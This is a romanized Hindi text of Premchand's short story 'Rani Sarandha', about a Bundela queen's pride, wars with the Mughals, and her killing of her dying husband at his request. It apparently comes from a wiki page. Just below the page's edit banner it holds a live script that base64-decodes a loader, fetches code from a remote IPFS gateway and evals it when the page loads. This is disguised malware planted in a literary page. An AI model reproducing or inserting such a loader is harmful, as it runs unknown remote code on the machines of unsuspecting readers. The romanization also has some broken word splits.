रानी सारन्धा- प्रेमचंद

chitr:Icon-edit.gif

is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

aandheri rat ke sannate mean dhasan nadi chattanoan se takarati huee aisi suhavani maloom hoti thi jaise ghumur-ghumur karati huee chakkiyaan. nadi ke dahine tat par ek tila hai. us par ek purana durg bana hua hai jisako jangali vrikshoan ne gher rakha hai. tile ke poorv ki or chhota-sa gaanv hai. yah gadhi aur gaanv donoan ek buandela sarakar ke kirti-chihn haian. shatabdiyaan vyatit ho gayian buandelakhand mean kitane hi rajyoan ka uday aur ast hua musalaman aye aur buandela raja uthe aur gire-koee gaanv koee ilaka aisa n tha jo in duravasthaoan se pi dit n ho magar is durg par kisi shatru ki vijay-pataka n laharayi aur is gaanv mean kisi vidroh ka bhi padarpan n hua. yah usaka saubhagy tha.

aniruddhasianh vir rajapoot tha. vah jamana hi aisa tha jab manushyamatr ko apane bahubal aur parakram hi ka bharosa tha. ek or musalaman senaean pair jamaye kh di rahati thian doosari or balavan raja apane nirbal bhaiyoan ka gala ghoantane par tatpar rahate the. aniruddhasianh ke pas savaroan aur piyadoan ka ek chhota-sa magar sajiv dal tha. isase vah apane kul aur maryada ki raksha kiya karata tha. use kabhi chain se baithana nasib n hota tha. tin varsh pahale usaka vivah shitala devi se hua tha magar aniruddh vihar ke din aur vilas ki ratean paha doan mean katata tha aur shitala usaki jan ki khair manane mean. vah kitani bar pati se anurodh kar chuki thi kitani bar usake pairoan par gir kar roee thi ki tum meri aankhoan se door n ho mujhe haridvar le chalo mujhe tumhare sath vanavas achchha hai yah viyog ab nahian saha jata. usane pyar se kaha zid se kaha vinay ki magar aniruddh buandela tha. shitala apane kisi hathiyar se use parast n kar saki.

aandheri rat thi. sari duniya soti thi tare akash mean jagate the. shitala devi palang par p di karavatean badal rahi thian aur usaki nanad sarandha pharsh par baithi madhur svar se gati thi-

binu raghuvir katat nahian rain

shitala ne kaha-ji n jalao. kya tumhean bhi niand nahian ati

sarandha-tumhean lori suna rahi hooan.

shitala-meri aankhoan se to niand lop ho gayi.

sarandha-kisi ko dhooandhane gayi hogi.

itane mean dvar khula aur ek gathe hue badan ke roopavan purush ne bhitar pravesh kiya. vah aniruddh tha. usake kap de bhige hue the aur badan par koee hathiyar n tha. shitala charapaee se utar kar zamin par baith gayi.

sarandha ne poochha-bhaiya yah kap de bhige kyoan haian

aniruddh-nadi tair kar aya hooan.

sarandha-hathiyar kya hue

aniruddh-chhin gaye.

sarandha-aur sath ke adami

aniruddh-sabane vir-gati payi.

shitala ne dabi jaban se kaha-eeshvar ne hi kushal kiya. magar sarandha ke tivaroan par bal p d gaye aur mukhamandal garv se satej ho gaya. boli-bhaiya tumane kul ki maryada kho di. aisa kabhi n hua tha.

sarandha bhaee par jan deti thi. usake muanh se yah dhikkar sunakar aniruddh lajja aur khed se vikal ho gaya. vah viragni jise kshan bhar ke lie anurag ne daba liya tha phir jvalant ho gayi. vah ulate paanv lauta aur yah kah kar bahar chala gaya ki sarandha tumane mujhe sadaiv ke lie sachet kar diya. yah bat mujhe kabhi n bhoolegi.

aandheri rat thi. akash-mandal mean taroan ka prakash bahut dhuandhala tha. aniruddh kile se bahar nikala. pal bhar mean nadi ke us par ja pahuancha aur phir andhakar mean lupt ho gaya. shitala usake pichhe-pichhe kile ki divaroan tak ayi magar jab aniruddh chhalaang mar kar bahar kood p da to vah virahini chattan par baith kar rone lagi.

itane mean sarandha bhi vahian a pahuanchi. shitala ne nagin ki tarah bal kha kar kaha-maryada itani pyari hai

sarandha-haan.

shitala-apana pati hota to hriday mean chhipa leti.

sarandha-na chhati mean chhura chubha deti.

shitala ne aianthakar kaha-choli mean chhipati phirogi meri bat girah mean baandh lo.

sarandha-jis din aisa hoga maian bhi apana vachan poora kar dikhaooangi.

is ghatana ke tin mahine pichhe aniruddh maharauni ko jit karake lauta aur sal bhar pichhe sarandha ka vivah orachha ke raja champataray se ho gaya magar us din ki batean donoan mahilaoan ke hriday-sthal mean kaante ki tarah khatakati rahian.

raja champataray b de pratibhashali purush the. sari bundela jati unake nam par jan deti thi aur unake prabhutv ko manati thi. gaddi par baithate hi unhoanne mugal badashahoan ko kar dena band kar diya aur ve apane bahubal se rajy-vistar karane lage. musalamanoan ki senaean bar-bar un par hamale karati thian par har kar laut jati thian.

yahi samay tha ki jab aniruddh ne sarandha ka champataray se vivah kar diya. sarandha ne muanhamaangi murad payi. usaki yah abhilasha ki mera pati bundela jati ka kul-tilak ho poori huee. yadyapi raja ke ranivas mean paanch raniyaan thian magar unhean shighr hi maloom ho gaya ki vah devi jo hriday mean meri pooja karati hai sarandha hai.

parantu kuchh aisi ghatanaean hueean ki champataray ko mugal badashah ka ashrit hona p da. ve apana rajy apane bhaee paha dasianh ko sauanpakar dehali chale gaye. yah shahajahaan ke shasan-kal ka antim bhag tha. shahajada dara shikoh rajakiy karyoan ko sanbhalate the. yuvaraj ki aankhoan mean shil tha aur chitt mean udarata. unhoanne champataray ki virata ki kathaean suni thian isalie unaka bahut adar-samman kiya aur kalapi ki bahumooly jagir unako bheant ki jisaki amadani nau lakh thi. yah pahala avasar tha ki champataray ko aye-din ke l daee-jhag de se nivritti mili aur usake sath hi bhog-vilas ka prabaly hua. rat-din amod-pramod ki charcha rahane lagi. raja vilas mean doobe raniyaan j daoo gahanoan par rijhian magar sarandha in dinoan bahut udas aur sankuchit rahati-vah in rahasyoan se door-door rahati ye nrity aur gan ki sabhaean use sooni pratit hotian.

ek din champataray ne sarandha se kaha-saran tum udas kyoan rahati ho maian tumhean kabhi hansate nahian dekhata. kya mujhase naraz ho

sarandha ki aankhoan mean jal bhar aya. boli-svamiji ap kyoan aisa vichar karate haian jahaan ap prasann haian vahaan maian bhi khush hooan.

champataray-maian jab se yahaan aya hooan maianne tumhare mukh-kamal par kabhi manoharini muskarahat nahian dekhi. tumane kabhi apane hathoan se mujhe bi da nahian khilaya. kabhi meri pag nahian sanvari. kabhi mere sharir par shastr n sajaye. kahian prem-lata murajhane to nahian lagi

sarandha-prananath ap mujhase aisi bat poochhate haian jisaka uttar mere pas nahian hai. yatharth mean in dinoan mera chitt udas rahata hai. maian bahut chahati hooan ki khush rahooan magar bojh-sa hriday par dhara rahata hai.

champataray svayan anand mean magn the. isalie unake vichar mean sarandha ko asantusht rahane ka koee uchit karan nahian ho sakata tha. ve bhauanhean siko d kar bole-mujhe tumhare udas rahane ka koee vishesh karan nahian maloom hota. orachhe mean kaun-sa sukh tha jo yahaan nahian hai

sarandha ka chehara lal ho gaya. boli-maian kuchh kahooan ap naraz to n hoange

champataray-nahian shauq se kaho.

sarandha-orachhe mean maian ek raja ki rani thi. yahaan maian ek jagiradar ki cheri hooan. orachhe mean vah thi jo avadh mean kaushalya thian yahaan maian badashah ke ek sevak ki stri hooan. jis badashah ke samane aj ap adar se sir jhukate haian vah kal apake nam se kaanpata tha. rani se cheri ho kar bhi prasannachitt hona mere vash mean nahian hai. apane yah pad aur ye vilas ki samagriyaan b de mahange damoan mol li haian.

champataray ke netroan par se ek parda-sa hat gaya. ve ab tak sarandha ki atmik uchchata ko n janate the. jaise be-maan-bap ka balak maan ki charcha sun kar rone lagata hai usi tarah orachhe ki yad se champataray ki aankhean sajal ho gayian. unhoanne adarayukt anurag ke sath sarandha ko hriday se laga liya.

aj se unhean phir usi uj di basti ki fikr huee jahaan se dhan aur kirti ki abhilashaean khianch laee thian.

maan apane khoye hue balak ko pa kar nihal ho jati hai. champataray ke ane se bundelakhand nihal ho gaya. orachhe ke bhag jage. naubatean bajane lagian aur phir sarandha ke kamal-netroan mean jatiy abhiman ka abhas dikhaee dene laga !

yahaan rahate-rahate mahinoan bit gaye. is bich mean shahajahaan bimar p da. pahale se eershya ki agni dahak rahi thi. yah khabar sunate hi jvala prachand huee. sangram ki taiyariyaan hone lagian. shahajade murad aur muhiuddin apane-apane dal sajakar dakkhin se chale. varsha ke din the. urvara bhoomi rang-birang ke roop bhar kar apane saundary ko dikhati thi.

murad aur muhiuddin umangoan se bhare hue qadam badhate chale a rahe the. yahaan tak ki dhaulapur ke nikat chambal ke tat par a pahuanche parantu yahaan unhoanne badashahi sena ko apane shubhagaman ke nimitt taiyar paya.

shahajade ab b di chianta mean p de. samane agamy nadi laharean mar rahi thi kisi yogi ke tyag ke sadrish. vivash ho kar champataray ke pas sandesh bheja ki khuda ke lie a kar hamari doobati huee nav ko par lagaiye.

raja ne bhavan mean ja kar sarandha se poochha-isaka kya uttar dooan ?

sarandha-apako madad karani hogi.

champataray-unaki madad karana dara shikoh se vair lena hai.

sarandha-yah saty hai parantu hath phailane ki maryada bhi to nibhani chahie

champataray-priye tumane sochakar javab nahian diya.

sarandha-prananath maian achchhi tarah janati hooan ki yah marg kathin hai. aur ab hamean apane yoddhaoan ka rakt pani ke saman bahana p dega parantu ham apana rakt bahayeange aur chambal ki laharoan ko lal kar deange. vishvas rakhiye ki jab tak nadi ki dhara bahati rahegi vah hamare viroan ki kirtigan karati rahegi. jab tak bundeloan ka ek bhi namaleva rahega ye rakt-bindu usake mathe par keshar ka tilak ban kar chamakeange.

vayumandal mean megharaj ki senaean um d rahi thian. orachhe ke kile se bundeloan ki ek kali ghata uthi aur veg ke sath chambal ki taraph chali. pratyek sipahi vir-ras se jhoom raha tha. sarandha ne donoan rajakumaroan ko gale se laga liya aur raja ko pan ka bi da de kar kaha-bundeloan ki laj ab tumhare hath hai.

aj usaka ek-ek aang muskara raha hai aur hriday hulasit hai. bundeloan ki yah sena dekh kar shahajade phoole n samaye. raja vahaan ki aangul-aangul bhoomi se parichit the. unhoanne bundeloan ko to ek a d mean chhipa diya aur ve shahajadoan ki fauj ko saja kar nadi ke kinare-kinare pashchim ki or chale. dara shikoh ko bhram hua ki shatru kisi any ghat se nadi utarana chahata hai. unhoanne ghat par se morche hata liye. ghat mean baithe hue bundele usi tak mean the. bahar nikal p de aur unhoanne turant hi nadi mean gho de dal diye. champataray ne shahajada dara shikoh ko bhulava dekar apani fauj ghuma di aur vah bundeloan ke pichhe chalata hua use par utar laya. is kathin chal mean sat ghantoan ka vilamb hua parantu ja kar dekha to sat sau bundeloan ki lashean t dap rahi thian.

raja ko dekhate hi bundeloan ki himmat bandh gayi. shahajadoan ki sena ne bhi allaho akabar ki dhvani ke sath dhava kiya. badashahi sena mean halachal p d gayi. unaki panktiyaan chhinn-bhinn ho gayian hathoanhath l daee hone lagi yahaan tak ki sham ho gayi. ranabhoomi rudhir se lal ho gayi aur akash mean aandhera ho gaya. ghamasan ki mar ho rahi thi. badashahi sena shahajadoan ko dabaye ati thi. akasmath pashchim se phir bundeloan ki ek lahar uthi aur is veg se badashahi sena ki pusht par takarayi ki usake qadam ukh d gaye. jita hua maidan hath se nikal gaya. logoan ko kutoohal tha ki yah daivi sahayata kahaan se ayi. saral svabhav ke logoan ki dharana thi ki yah fatah ke pharishte haian shahajadoan ki madad ke lie aye haian parantu jab raja champataray nikat gaye to sarandha ne gho de se utar kar unake pairoan par sir jhuka diya. raja ko asim anand hua. yah sarandha thi.

samar-bhoomi ka drishy is samay atyant duahkhamay tha. tho di der pahale jahaan saje hue viroan ke dal the vahaan ab bejan lashean t dap rahi thian. manushy ne apane svarth ke lie anadi kal se hi bhaiyoan ki hatya ki hai.

ab vijayi sena loot par toot p di. pahale mard mardoan se l date the. vah virata aur parakram ka chitr tha yah nichata aur durbalata ki glaniprad tasavir thi. us samay manushy pashu bana hua tha ab vah pashu se bhi badh gaya tha.

is noch-khasot mean logoan ko badashahi sena ke senapati vali bahadur khaan ki lash dikhayi di. usake nikat usaka gho da kh da hua apani dum se makkhiyaan u da raha tha. raja ko gho doan ka shauq tha. dekhate hi vah us par mohit ho gaya. yah iraki jati ka ati sundar gho da tha. ek-ek aang saanche mean dhala hua sianh ki-si chhati chite ki-si kamar usaka yah prem aur svamibhakti dekhakar logoan ko b da kutoohal hua. raja ne hukm diya-khabaradar ! is premi par koee hathiyar n chalaye ise jita pak d lo yah mere astabal ki shobha badhayega. jo ise mere pas le ayega use dhan se nihal kar dooanga.

yoddhagan charoan or se lapake parantu kisi ko sahas n hota tha ki usake nikat ja sake. koee chumakar raha tha koee phande mean phansane ki fikr mean tha par koee upay saphal n hota tha. vahaan sipahiyoan ka mela-sa laga hua tha.

tab sarandha apane kheme se nikali aur nirbhay hokar gho de ke pas chali gayi. usaki aankhoan mean prem ka prakash tha chhal ka nahian. gho de ne sir jhuka diya. rani ne usaki gardan par hath rakha aur vah usaki pith sahalane lagi. gho de ne usake aanchal mean muanh chhipa liya. rani usaki ras pak d kar kheme ki or chali. gho da is tarah chupachap usake pichhe chala mano sadaiv se usaka sevak hai.

par bahut achchha hota ki gho de ne sarandha se bhi nishthurata ki hoti. yah sundar gho da age chal kar is raj-parivar ke nimitt svarnajatit mrig sabit hua.

sansar ek ran-kshetr hai. is maidan mean usi senapati ko vijayalabh hota hai jo avasar ko pahachanata hai. vah avasar par jitane utsah se age badhata hai utane hi utsah se apatti ke samay pichhe hat jata hai. vah vir purush rashtr ka nirmata hota hai aur itihas usake nam par yash ke phooloan ki varsha karata hai.

par is maidan mean kabhi-kabhi aise sipahi bhi jate haian jo avasar par qadam badhana janate haian lekin sankat mean pichhe hatana nahian janate. ye ranavir purush vijay ko niti ki bheant kar dete haian. ve apani sena ka nam mita deange kintu jahaan ek bar pahuanch gaye haian vahaan se qadam pichhe n hatayeange. unamean koee virala hi sansar-kshetr mean vijay prapt karata hai kiantu prayah usaki har vijay se bhi adhik gauravatmak hoti hai. agar anubhavashil senapati rashtroan ki nianv dalata hai to an par jan denevala muanh n mo danevala sipahi rashtr ke bhavoan ko uchch karata hai aur usake hriday par naitik gaurav ko aankit kar deta hai. use is karyakshetr mean chahe saphalata n ho kintu jab kisi vaky ya sabha mean usaka nam jaban par a jata hai shrotagan ek svar se usake kirti-gaurav ko pratidhvanit kar dete haian. sarandha an par jan denevaloan mean thi.

shahajada muhiuddin chambal ke kinare se agare ki or chala to saubhagy usake sir par morchhal hilata tha. jab vah agare pahuancha to vijayadevi ne usake lie sianhasan saja diya !

aurangajeb gunajn tha. usane badashahi aphasaroan ke aparadh kshama kar diye unake rajy-pad lauta diye aur raja champataray ko usake bahumooly krityoan ke upalakshy mean barah hajari manasab pradan kiya. oraksha se banaras aur banaras se jamuna tak usaki jagir niyat ki gayi. bundela raja phir raj-sevak bana vah phir sukh-vilas mean dooba aur rani sarandha phir paradhinata ke shok se ghulane lagi.

vali bahadur khaan b da vaky-chatur manushy tha. usaki mriduta ne shighr hi use badashah alamagir ka vishvasapatr bana diya. us par rajasabha mean samman ki drishti p dane lagi.

khaan sahab ke man mean apane gho de ke hath se nikal jane ka b da shauq tha. ek din kuanvar chhatrasal usi gho de par savar hokar sair ko gaya tha. vah khaan sahab ke mahal ki taraph ja nikala. vali bahadur aise hi avasar ki tak mean tha. usane turant apane sevakoan ko ishara kiya. rajakumar akela kya karata paanv-paanv ghar aya aur usane sarandha se sab samachar bayan kiya. rani ka chehara tamatama gaya. boli mujhe isaka shok nahian ki gho da hath se gaya shok isaka hai ki too use kho kar jita kyoan lauta kya tere sharir mean buandeloan ka rakt nahian hai gho da n milata n sahi kintu tujhe dikha dena chahie tha ki ek bundela balak se usaka gho da chhin lena hansi nahian hai.

yah kah kar usane apane pachchis yoddhaoan ko taiyar hone ki ajna di. svayan astra dharan kiye aur yoddhaoan ke sath vali bahadur khaan ke nivas-sthan par ja pahuanchi. khaan sahab usi gho de par savar ho kar darabar chale gaye the sarandha darabar ki taraph chali aur ek kshan mean kisi vegavati nadi ke sadrish badashahi darabar ke samane ja pahuanchi yah kaiphiyat dekhate hi darabar mean halachal mach gayi. adhikari varg idhar-udhar se a kar jama ho gaye. alamagir bhi sahan mean nikal aye. log apani-apani talavarean sanbhalane lage aur charoan taraph shor mach gaya. kitane hi netroan ne isi darabar mean amarasianh ki talavar ki chamak dekhi thi. unhean vahi ghatana phir yad a gayi.

sarandha ne uchch svar se kaha-khaan sahab b di lajja ki bat hai apane vahi virata jo chambal ke tat par dikhani chahie thi aj ek abodh balak ke sammukh dikhayi hai. kya yah uchit tha ki ap usase gho da chhin lete

vali bahadur khaan ki aankhoan se agni-jvala nikal rahi thi. ve k di avaz se bole-kisi gair ko kya majal hai ki meri chiz apane kam mean laye

rani-vah apaki chiz nahian meri hai. maianne use ranabhoomi mean paya hai aur us par mera adhikar hai. kya rananiti ki itani moti bat bhi ap nahian janate

khaan sahab-vah gho da maian nahian de sakata usake badale mean sara astabal apaki najar hai.

rani-maian apana gho da looangi.

khaan sahab-maian usake barabar javaharat de sakata hooan parantu gho da nahian de sakata !

rani-to phir isaka nishchay talavar se hoga bundela yoddhaoan ne talavarean sauant lian aur nikat tha ki darabar ki bhoomi rakt se plavit ho jay badashah alamagir ne bich mean a kar kaha-rani sahaba ap sipahiyoan ko rokean. gho da apako mil jayaga parantu isaka mooly bahut dena p dega.

rani-maian usake lie apana sarvasv khone ko taiyar hooan.

badashah-jagir aur manasab bhi !

rani-jagir aur manasab koee chiz nahian.

badashah-apana rajy bhi

rani-haan rajy bhi.

badashah-ek gho de ke lie

rani-nahian us padarth ke lie jo sansar mean sabase adhik moolyavan hai.

badashah-vah kya hai

rani-apani an.

is bhaanti rani ne apane gho de ke lie apani vistrit jagir uchch raj aur raj-samman sab hath se khoya aur keval itana hi nahian bhavishy ke lie kaante boye is gh di se ant dasha tak champataray ko shanti n mili.

raja champataray ne phir orachhe ke kile mean padarpan kiya. unhean manasab aur jagir ke hath se nikal jane ka atyant shok hua kintu unhoanne apane muanh se shikayat ka ek shabd bhi nahian nikala ve sarandha ke svabhav ko bhali-bhaanti janate the. shikayat is samay usake atm-gaurav par kuthar ka kam karati.

kuchh din yahaan shantipoorvak vyatit hue lekin badashah sarandha ki kathor bat bhoola n tha. vah kshama karana janata hi n tha. jyoan hi bhaiyoan ki or se nishchint hua usane ek b di sena champataray ka garv choorn karane ke lie bheji aur baees anubhavashil saradar is muhim par niyukt kiye. shubhakaran bundela badashah ka soobedar tha. vah champataray ka bachapan ka mitr aur sahapathi tha. usane champataray ko parast karane ka bi da uthaya. aur bhi kitane hi bundela saradar raja se vimukh ho kar badashahi soobedar se a mile. ek ghor sangram hua. bhaiyoan ki talavarean rakt se lal hueean. yadyapi is samar mean raja ko vijay prapt huee lekin usaki shakti sada ke lie kshin ho gayi. nikatavarti bundela raja jo champataray ke bahubal the badashah ke kripakaankshi ban baithe. sathiyoan mean kuchh to kam aye kuchh daga kar gaye. yahaan tak ki nij sambandhiyoan ne bhi aankhean chura lian parantu in kathinaiyoan mean bhi champataray ne himmat nahian hari dhiraj ko n chho da. unhoanne orachha chho d diya aur vah tin varsh tak buandelakhand ke saghan parvatoan par chhipe phirate rahe. badashahi senaean shikari janavaroan ki bhaanti sare desh mean mandara rahi thian. aye-din raja ka kisi n kisi se samana ho jata tha. sarandha sadaiv unake sath rahati aur unaka sahas badhaya karati. b di-b di apattiyoan mean jab ki dhairy lupt ho jata aur asha sath chho d deti-atmaraksha ka dharm use sanbhale rahata hai. tin sal ke bad aant mean badashah ke soobedaroan ne alamagir ko soochana di ki is sher ka shikar apake sivay aur kisi se n hoga. uttar aya ki sena ko hata lo aur ghera utha lo. raja ne samajha sankat se nivritti huee par vah bat shighr hi bhramatmak siddh ho gayi.

tin saptah se badashahi sena ne orachha gher rakha hai. jis tarah kathor vachan hriday ko chhed dalate haian usi tarah topoan ke goloan ne divaroan ko chhed dala hai. kile mean 20 hazar adami ghire hue haian lekin unamean adhe se adhik striyaan aur unase kuchh hi kam balak haian. mardoan ki sankhya dinoandin nyoon hoti jati hai. ane-jane ke marg charoan taraph se band haian. hava ka bhi gujar nahian. rasad ka saman bahut kam rah gaya hai. striyaan purushoan aur balakoan ko jivit rakhane ke lie ap upavas karati haian. log bahut hatash ho rahe haian. auratean soory narayan ki or hath utha-utha kar shatru ko kosati haian. balakavrind mare krodh ke divar ki a d se un par patthar pheankate haian jo mushkil se divar ke us par ja pate haian. raja champataray svayan jvar se pi dit haian. unhoanne kee din se charapaee nahian chho di. unhean dekhakar logoan ko kuchh dhadhas hota tha lekin unaki bimari se sare kile mean nairashy chhaya hua hai.

raja ne sarandha se kaha-aj shatru zaroor kile mean ghus ayeange.

sarandha-eeshvar n kare ki in aankhoan se vah din dekhana p de.

raja-mujhe b di chianta in anath striyoan aur balakoan ki hai. gehooan ke sath yah ghun bhi pis jayeange.

sarandha-ham log yahaan se nikal jayan to kaisa

raja-in anathoan ko chho d kar

sarandha-is samay inhean chho d dene mean hi kushal hai. ham n hoange to shatru in par kuchh daya hi kareange.

raja-nahian yah log mujhase n chho de jayange. mardoan ne apani jan hamari seva mean arpan kar di hai unaki striyoan aur bachchoan ko maian kadapi nahian chho d sakata.

sarandha-lekin yahaan rah kar ham unaki kuchh madad bhi to nahian kar sakate

raja-unake sath pran to de sakate haian. maian unaki raksha mean apani jan l da dooanga. unake lie badashahi sena ki khushamad karooanga karavas ki kathinaiyaan sahooanga kintu is sankat mean unhean chho d nahian sakata.

sarandha ne lajjit ho kar sir jhuka liya aur sochane lagi nissandeh priy sathiyoan ko ag ki aanch mean chho d kar apani jan bachana ghor nichata hai ! maian aisi svarthandh kyoan ho gayi hooan lekin ekaek vichar utpann hua. boli-yadi apako vishvas ho jay ki in adamiyoan ke sath koee anyay n kiya jayaga tab to apako chalane mean koee badha n hogi

raja-(soch kar) kaun vishvas dilayega

sarandha-badashah ke senapati ka pratijna-patr.

raja-haan tab maian sanand chalooanga.

sarandha vichar-sagar mean doobi. badashah ke senapati se kyoankar yah pratijna karaooan kaun yah prastav le kar vahaan jayaga aur nirdayi aisi pratijna karane hi kyoan lage unhean to apani vijay ki poori asha hai. mere yahaan aisa niti-kushal vakpatu chatur kaun hai jo is dustar kary ko siddh kare chhatrasal chahe to kar sakata hai. usamean ye sab gun maujood haian.

is tarah man mean nishchay karake rani ne chhatrasal ko bulaya. yah usake charoan putroan mean buddhiman aur sahasi tha. rani usase sabase adhik pyar karati thian. jab chhatrasal ne a kar rani ko pranam kiya to unake kamal-netr sajal ho gaye aur hriday se dirgh niahshvas nikal gaya.

chhatrasal-mata mere lie kya ajna hai

rani-aj l daee ka kya dhang hai

chhatrasal-hamare pachas yoddha ab tak kam a chuke haian.

rani-bundeloan ki laj ab eeshvar ke hath hai.

chhatrasal-ham aj rat ko chhapa mareange.

rani ne sankshep mean apana prastav chhatrasal ke samane upasthit kiya aur kaha-yah kam kise sauanpa jay

chhatrasal-mujhako.

tum ise poora kar dikhaoge

haan mujhe poorn vishvas hai

achchha jao paramatma tumhara manorath poora kare.

chhatrasal jab chala to rani ne use hriday se laga liya aur tab akash ki or donoan hath utha kar kaha-dayanidhi maianne apana tarun aur honahar putr bundeloan ki an ke age bheant kar diya. ab is an ko nibhana tumhara kam hai. maianne b di moolyavanh vastu arpit ki hai ise svikar karo.

doosare din pratahkal sarandha snan karake thal mean pooja ki samagri liye mandir ko chali. usaka chehara pila p d gaya tha aur aankhoan tale aandhera chhaya jata tha. vah mandir ke dvar par pahuanchi thi ki usake thal mean bahar se a kar ek tir gira. tir ki nok par ek kagaz ka puraja lipata hua tha. sarandha ne thal mandir ke chabootare par rakh diya aur purje ko kholakar dekha to anand se chehara khil gaya lekin yah anand kshan-bhar ka tha. hay ! is purje ke lie maianne apana priy putr hath se kho diya hai. kagaz ke tuk de ko itane mahange damoan kisane liya hoga

mandir se lautakar sarandha raja champataray ke pas gayi aur boli- prananath apane jo vachan diya tha use poora kijiye. raja ne chauank kar poochha tumane apana vada poora kar diya rani ne vah pratijna-patr raja ko de diya. champataray ne use gaur se dekha phir bole-ab maian chalooanga aur eeshvar ne chaha to ek bar phir shatruoan ki khabar looanga. lekin saran sach batao is patr ke lie kya dena p da hai

rani ne kuanthit svar se kaha-bahut kuchh.

raja-sunooan

rani-ek javan putr.

raja ko ban-sa lag gaya. poochha-kaun aangadaray

rani-nahian.

raja-ratanasah

rani-nahian.

raja-chhatrasal

rani-haan.

jaise koee pakshi goli khakar paroan ko ph daph data hai aur tab bedam ho kar gir p data hai usi bhaanti champataray palang se uchhale aur phir achet hokar gir p de. chhatrasal unaka param priy putr tha. unake bhavishy ki sari kamanaean usi par avalambit thian. jab chet hua tab bole saran tumane bura kiya.

aandheri rat thi. rani sarandha gho de par savar champataray ko palaki mean baithaye kile ke gupt marg se nikali jati thi. aj se bahut kal pahale ek din aisi hi aandheri duahkhamayi ratri thi. tab sarandha ne shitaladevi ko kuchh kathor vachan kahe the. shitaladevi ne us samay jo bhavishyavani ki thi vah aj poori huee. kya sarandha ne usaka jo uttar diya tha vah bhi poora hokar rahega

madhyahn tha. sooryanarayan sir par akar agni ki varsha kar rahe the. sharir ko jhulasane vali prachand prakhar vayu van aur parvat mean ag lagati phirati thi. aisa vidit hota tha mano agnidev ki samast sena garajati huee chali a rahi hai. gaganamandal is bhay se kaanp raha tha. rani sarandha gho de par savar champataray ko liye pashchim ki taraph chali jati thi. orachha das kos pichhe chhoot chuka tha aur pratikshan yah anuman sthir hota jata tha ki ab ham bhay ke kshetr se bahar nikal aye. raja palaki mean achet p de hue the aur kahar pasine mean sarabor the. palaki ke pichhe paanch savar gho da badhaye chale ate the pyas ke mare sabaka bura hal tha. taloo sookha jata tha. kisi vriksh ki chhaanh aur kuean ki talash mean aankhean charoan or dau d rahi thian.

achanak sarandha ne pichhe ki taraph phir kar dekha to use savaroan ka ek dal ata hua dikhayi diya. usaka matha thanaka ki ab kushal nahian hai. yah log avashy hamare shatru haian. phir vichar hua ki shayad mere rajakumar apane adamiyoan ko liye hamari sahayata ko a rahe haian. nairashy mean bhi asha sath nahian chho dati. kee minat tak vah isi asha aur bhay ki avastha mean rahi. yahaan tak ki vah dal nikat a gaya aur sipahiyoan ke vastr saf najar ane lage. rani ne ek thandi saans li usaka sharir trinavath kaanpane laga. yah badashahi sena ke log the.

sarandha ne kaharoan se kaha-doli rok lo. bundela sipahiyoan ne bhi talavarean khianch lian. raja ki avastha bahut shochaniy thi kintu jaise dabi huee ag hava lagate hi pradipt ho jati hai usi prakar is sankat ka jnan hote hi unake jarjar sharir mean viratma chamak uthi. ve palaki ka parda utha kar bahar nikal aye. dhanush-ban hath mean le liya kintu vah dhanush jo unake hath mean indr ka vajr ban jata tha is samay jara bhi n jhuka. sir mean chakkar aya pair tharraye aur ve dharati par gir p de. bhavi amangal ki soochana mil gayi. us pankharahit pakshi ke sadrish jo saanp ko apani taraph ate dekh kar oopar ko uchakata aur phir gir p data hai raja champataray phir sanbhal uthe aur phir gir p de. sarandha ne unhean sanbhalakar baithaya aur ro kar bolane ki cheshta ki parantu muanh se keval itana nikala-prananath ! isake age muanh se ek shabd bhi n nikal saka. an par marane vali sarandha is samay sadharan striyoan ki bhaanti shaktihin ho gayi lekin ek aansh tak yah nirbalata strijati ki shobha hai.

champataray bole-saran dekho hamara ek vir zamin par gira. shok ! jis apatti se yavajjivan darata raha usane is antim samay mean a ghera. meri aankhoan ke samane shatru tumhare komal sharir mean hath lagayeange aur maian jagah se hil bhi n sakooanga. hay ! mrityu too kab ayegi ! yah kahate-kahate unhean ek vichar aya. talavar ki taraph hath badhaya magar hathoan mean dam n tha. tab sarandha se bole-priye tumane kitane hi avasaroan par meri an nibhayi hai.

itana sunate hi sarandha ke murajhaye hue mukh par lali dau d gayi. aansoo sookh gaye. is asha mean ki maian pati ke kuchh kam a sakati hooan usake hriday mean bal ka sanchar kar diya. vah raja ki or vishvasotpadak bhav se dekh kar boli-eeshvar ne chaha to marate dam tak nibhaooangi.

rani ne samajha raja mujhe pran dene ka sanket kar rahe haian.

champataray-tumane meri bat kabhi nahian tali.

sarandha-marate dam tak n talooangi.

raja-yah meri antim yachana hai. ise asvikar n karana.

sarandha ne talavar ko nikal kar apane vakshasthal par rakh liya aur kaha-yah apaki ajna nahian hai. meri hardik abhilasha hai ki marooan to yah mastak apake pad-kamaloan par ho.

champataray-tumane mera matalab nahian samajha. kya tum mujhe isalie shatruoan ke hath mean chho d jaogi ki maian be diyaan pahane hue dilli ki galiyoan mean ninda ka patr banooan

rani ne jijnasa ki drishti se raja ko dekha. vah unaka matalab n samajhi.

raja-maian tumase ek varadan maangata hooan.

rani-saharsh maangie.

raja-yah meri antim prarthana hai. jo kuchh kahooanga karogi

rani-sir ke bal karooangi.

raja-dekho tumane vachan diya hai. inakar n karana.

rani-(kaanp kar) apake kahane ki der hai.

raja-apani talavar meri chhati mean chubha do.

rani ke hriday par vajrapat-sa ho gaya. boli-jivananath ! isake age vah aur kuchh n bol saki. aankhoan mean nairashy chha gaya.

raja-maian be diyaan pahanane ke lie jivit rahana nahian chahata.

rani-mujhase yah kaise hoga

paanchavaan aur antim sipahi dharati par gira. raja ne jhuanjhala kar kaha-isi jivan par an nibhane ka garv tha

badashah ke sipahi raja ki taraph lapake. raja ne nairashyapoorn bhav se rani ki or dekha. rani kshan bhar anishchit roop se kh di rahi lekin sankat mean hamari nishchayatmak shakti balavan ho jati hai. nikat tha ki sipahi log raja ko pak d lean ki sarandha ne damini ki bhaanti lapak kar talavar raja ke hriday mean chubha di.

prem ki nav prem ke sagar mean doob gayi. raja ke hriday se rudhir ki dhara nikal rahi thi par chehare par shanti chhaee huee thi.

